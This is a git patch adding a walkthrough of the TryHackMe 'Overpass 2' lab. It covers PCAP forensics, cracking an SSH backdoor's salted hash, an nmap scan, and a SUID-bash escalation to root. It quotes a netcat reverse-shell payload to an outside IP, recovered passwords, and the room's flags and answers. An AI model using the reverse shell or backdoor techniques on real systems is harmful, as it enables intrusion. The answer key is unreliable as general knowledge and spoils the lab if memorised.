From 259b7dcb13f33731bfd3e7fd843525d91501bd72 Mon Sep 17 00:00:00 2001 From: AbdullahRizwan101 <60057481+AbdullahRizwan101@users.noreply.github.com> Date: Sat, 28 Nov 2020 21:20:40 +0500 Subject: [PATCH] Add files via upload --- TryHackMe/Overpass2.md | 141 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 141 insertions(+) create mode 100644 TryHackMe/Overpass2.md diff --git a/TryHackMe/Overpass2.md b/TryHackMe/Overpass2.md new file mode 100644 index 0000000..6d882e8 --- /dev/null +++ b/TryHackMe/Overpass2.md @@ -0,0 +1,141 @@ +# TryHackMe-Overpass 2 + +## Forensics-Analyse the PCAP + +1. What was the URL of the page they used to upload a reverse shell? + + + +`development` + + +2. What payload did the attacker use to gain access? + + + +`&1|nc 192.168.170.145 4242 >/tmp/f")?>` + + +3. What password did the attacker use to privesc? + + + +Follow the tcp stream from packet `4` and change the stream until you see something interesting + + `whenevernoteartinstant` + +4. How did the attacker establish persistence? + + + + `https://github.com/NinjaJc01/ssh-backdoor` + + +5. Using the fasttrack wordlist, how many of the system passwords were crackable? + +Store the hashes in a text file for cracking + + + + + +`4` + +## Research-Analyse the code + +1. What's the default hash for the backdoor? + +Visit the github for the ssh-backdoor + + + +`bdd04d9bb7621687f5df9001f5098eb22bf19eac4c2c30b6f23efed4d24807277d0f8bfccb9e77659103d78c56e66d2d7d8391dfc885d0e9b68acd01fc2170e3` + + +2. What's the hardcoded salt for the backdoor? + + +You can find the `salt` being passed to `verifypass` function + +`1c362db832f3f864c8c2fe05f2002a05` + +3. What was the hash that the attacker used? - go back to the PCAP for this! + + + `6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed` + +4. Crack the hash using rockyou and a cracking tool of your choice. What's the password? + +Since the hash is SHA512 we are going to use hashcat and for that we have to find the mode for that hash so we can specify it to crack + + + +But doing this didn't help as this is salted so we know the default hash that this backdoor uses so add the default salt to the hash + +``` +6d05358f090eea56a238af02e47d44ee5489d234810ef6240280857ec69712a3e5e370b8a41899d0196ade16c0d54327c5654019292cbfe0b5e98ad1fec71bed:1c362db832f3f864c8c2fe05f2002a05 +``` + + + + +`november16` + + +## Attack-Get back in! + +### NMAP + +``` +nmap -sC -sV 10.10.196.150 +Starting Nmap 7.80 ( https://nmap.org ) at 2020-11-28 21:06 PKT +Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan +NSE Timing: About 99.75% done; ETC: 21:06 (0:00:00 remaining) +Stats: 0:00:28 elapsed; 0 hosts completed (1 up), 1 undergoing Script Scan +NSE Timing: About 99.75% done; ETC: 21:06 (0:00:00 remaining) +Nmap scan report for 10.10.196.150 +Host is up (0.16s latency). +Not shown: 997 closed ports +PORT STATE SERVICE VERSION +22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) +| ssh-hostkey: +| 2048 e4:3a:be:ed:ff:a7:02:d2:6a:d6:d0:bb:7f:38:5e:cb (RSA) +| 256 fc:6f:22:c2:13:4f:9c:62:4f:90:c9:3a:7e:77:d6:d4 (ECDSA) +|_ 256 15:fd:40:0a:65:59:a9:b5:0e:57:1b:23:0a:96:63:05 (ED25519) +80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) +|_http-server-header: Apache/2.4.29 (Ubuntu) +|_http-title: LOL Hacked +2222/tcp open ssh OpenSSH 8.2p1 Debian 4 (protocol 2.0) +| ssh-hostkey: +|_ 2048 a2:a6:d2:18:79:e3:b0:20:a2:4f:aa:b6:ac:2e:6b:f2 (RSA) +Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel + +Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . +Nmap done: 1 IP address (1 host up) scanned in 47.99 seconds +``` + +1. The attacker defaced the website. What message did they leave as a heading? + + + +`H4ck3d by CooctusClan` + + +2. What's the user flag? + +Now there are two ports open for SSH + + + +Port 22 didn't work but port 2222 did as we saw from the nmap scan it is another ssh port + +`thm{d119b4fa8c497ddb0525f7ad200e6567}` + +3. What's the root flag? + +The binary `.suid_bash` has SUID permissions that can execute has the owner of that file so with `./.suid_bash -p` this -p will allow to run as the permissions of that users + + + + +`thm{d53b2684f169360bb9606c333873144d}` \ No newline at end of file